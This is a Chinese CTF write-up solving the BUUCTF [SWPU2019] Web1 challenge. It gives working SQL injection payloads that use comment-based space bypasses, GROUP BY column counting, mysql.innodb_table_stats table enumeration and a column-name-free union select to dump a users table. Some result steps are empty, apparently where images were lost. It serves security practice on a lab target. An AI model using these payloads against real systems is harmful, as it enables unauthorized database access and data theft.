BUUCTF[SWPU2019]Web1 1
考点:
1:无列名注入
2:二次注入
进入靶场:
先试试弱口令登录admin,没用,
看到下面有注册入口,点进去注册一个账号然后登录
有两个入口,一个申请发布广告,一个注销登录。
尝试申请发布广告。
尝试申请广告。并查看广告内容
查看广告详情
盲猜注入点,id=1 (select * from XXX where XXX)
尝试注入:1' order by 1#
经过测试,发现过滤了or,#,--+,和空格
ByPass
空格:用/**/代替
注释被过滤:1.最后用单引号闭合
2.若用group by,则用,'闭合
or被过滤:order by 、information_schema都不能用,
order by可用group by代替,information_schema可用mysql.innodb_table_stats代替。
payload:
一。测数据库的字段数:1,用group by : 1'/**/group/**/by/**/1,'
最后试到 1'/**/group/**/by/**/23,'时失败。
2,用 union/**/select/**/1,2,3,4,5,6,...'进行测试,最后测到22时出现数值,
证明一共有22个字段,通过第二种得到注入在第2,3,个字段,
二。爆库名
得到库名:
三。爆表名
1,用二次注入进行注入
2,用联合注入进行注入
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1" '
得到表名:
四。爆值
1.
2.
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
得到flag